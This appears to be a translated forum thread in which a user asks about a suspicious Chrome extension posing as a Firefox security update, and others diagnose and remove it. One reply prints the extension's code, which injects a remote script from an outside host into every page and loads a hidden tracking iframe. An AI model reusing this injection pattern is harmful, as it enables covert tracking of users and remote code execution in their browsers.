Message contextuel lors du lancement de Chrome: Confirmer les modifications - L'extension «Composant de sécurité Chrome» a été ajoutée.

Lors du lancement de Google Chrome, une petite boîte de dialogue apparaît dans le coin supérieur droit du navigateur. Elle indique:

Confirmer les modifications

L'extension "Composant de sécurité Chrome" a été ajoutée.

Il me donne les options pour appuyer sur OK ou sur Détails (je n'ai pas appuyé sur OK), mais lorsque vous appuyez sur Détails, un nouvel onglet s'ouvre avec mes extensions Chrome.

Il y a une extension appelée Composant de sécurité Chrome 1.0 avec une coche activée à droite.

L'écriture juste en dessous de son nom dit:

Mise à jour de sécurité critique pour Firefox

Il y a 2 petites boîtes:

Autoriser incognito
Autoriser l'accès aux URL

Aucune case n'est cochée.

À ma connaissance, je n'ai pas téléchargé cette extension à partir du Chrome Web Store et je voudrais un conseil?

Quelqu'un d'autre a-t-il rencontré cela, cela ne sonne pas très bien, en particulier parce qu'il s'agit d'une mise à jour de sécurité essentielle pour Firefox!

Google Chrome peut-il ajouter des extensions automatiquement si elles le sont pour des raisons de sécurité?

(C’est aussi quelque chose qui est apparu très récemment au cours des derniers temps de lancement de Chrome, c’est pourquoi je suis sûr de ne pas l'avoir téléchargé comme extension)

enter image description here

windows-7 google-chrome google-chrome-extensions

— Simon
source

Quelle version de Windows utilisez-vous?

— Sathyajith Bhat

Windows 7 64bit home premium

— Simon

J'utilise NIS 2013, l'antimaliciel Malwarebytes comme principal arsenal antivirus.

— Simon

S'il était légitime, d'autres utilisateurs de Chrome auraient sûrement eu la même extension ajoutée et un message contextuel?

— Simon

Réponses:

L'extension est non disponible la boutique en ligne Chrome , et en regardant l'icône du plugin générique Chrome, ainsi que le manque de présence dans la boutique en ligne, me font croire que ce n'est définitivement pas légitime.

Vous devriez pouvoir vérifier le code source de l'extension à partir de %localappdata%\Google Chrome\User Data\Default\Extensions\kfejhbidgehdoaglokpfddkmiepmhcck dossier et examiner ce qu’il fait.

Google Chrome peut-il ajouter des extensions automatiquement si elles le sont pour des raisons de sécurité?

J'ai vu des applications externes installer des extensions pour Chrome (par exemple, Norton 360, qui installe l'extension de protection inutile), mais cela ne provient certainement pas de Mozilla.

— Sathyajith Bhat
source

Puis-je le désactiver?

— Simon

En outre, la façon dont il est dit est une mise à jour critique pour Firefox (cela n'a rien à voir avec Firefox)!

— Simon

peu confus comment vérifier le code source donné dans la réponse ci-dessus

— Simon

@Simon allez sur le chemin mentionné ci-dessus, vérifiez le fichier manifest.js et les autres fichiers js / html. Vous pouvez / devez le désactiver / le supprimer

— Sathyajith Bhat

J'avais de la difficulté à localiser le chemin, comment puis-je accéder à% localappdata%? Je remarque qu'il y a un bac à côté de l'extension dans la capture d'écran - où je peux l'enlever / le supprimer de là (j'espère)?

— Simon

c'est un peu plus d'infos pour cette extension:

Chrome Security Component


--------------------------------------
extension background.js
--------------
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo) {
    if (changeInfo.status === 'complete') {
        chrome.tabs.executeScript(tabId, {
            code: "var d = document; var js, id = 'wsk-node'; if (d.getElementById(id)) {return;}"+
                  "js = d.createElement('script'); js.id = id; js.async = true;"+
                  "js.src = '//cdn.io4o.com/js/all.js';"+
                  "d.getElementsByTagName('head')[0].appendChild(js);"
        });
    }
});


-----
//cdn.io4o.com/js/all.js
----

var host = window.location.host;

if (host != 'cdn.io4o.com') {
        var iframe = document.createElement('iframe');
        iframe.src = '//cdn.io4o.com/ga.html';
        iframe.style.width = 0;
        iframe.style.height = 0;
        iframe.style.border = 0;
        document.body.appendChild(iframe);
}

------
//cdn.io4o.com/ga.html
------

<html>
<head>
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-37051120-1']);
  _gaq.push(['_setDomainName', 'io4o.com']);

  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>
</head>
<body>
</body>
</html>

— Federico Botta
source

Merci pour ce Federico, mais savez-vous ce que cela signifie?

— Simon

Bonjour Simon, il utilise Google Analytics pour suivre les pages Web. developers.google.com/analytics/devguides/collection/gajs

— Federico Botta

Oh oui, j'ai fini par l'enlever, mais était-ce potentiellement dangereux ou pas vraiment?

— Simon

Pas vraiment dans son état actuel, mais il suit tous les sites Web visités, à moins qu'ils ne changent le code distant pour js et html (//cdn.io4o.com/js/all.js et //cdn.io4o.com/ga.html ). Personnellement, je suggère de l'enlever, comme vous l'avez fait ;-)

— Federico Botta

Merci pour vos commentaires

— Simon

Google Chrome peut-il ajouter des extensions automatiquement si elles le sont pour des raisons de sécurité?

Oui, Google Chrome autorise l'installation automatique des extensions, mais cela ne se limite pas à des raisons de sécurité. Ce que vous avez expérimenté est un soi-disant extension externe .
De Site Web de développeur Google

Une extension installée automatiquement est appelée extension externe. Google Chrome prend en charge deux manières d'installer des extensions externes:

Utilisation d'un fichier de préférences JSON (Mac OS X et Linux uniquement)
Utilisation du registre Windows (Windows uniquement)

Sous Windows, ils sont glissés via les entrées de registre suivantes:

Windows 32 bits: HKEY_LOCAL_MACHINE \ Software \ Google \ Chrome \ Extensions
Windows 64 bits: HKEY_LOCAL_MACHINE \ Software \ Wow6432Node \ Google \ Chrome \ Extensions

Supprimez simplement l'identifiant d'extension incriminé (il apparaîtra comme une sous-clé)

— Costin Gușă
source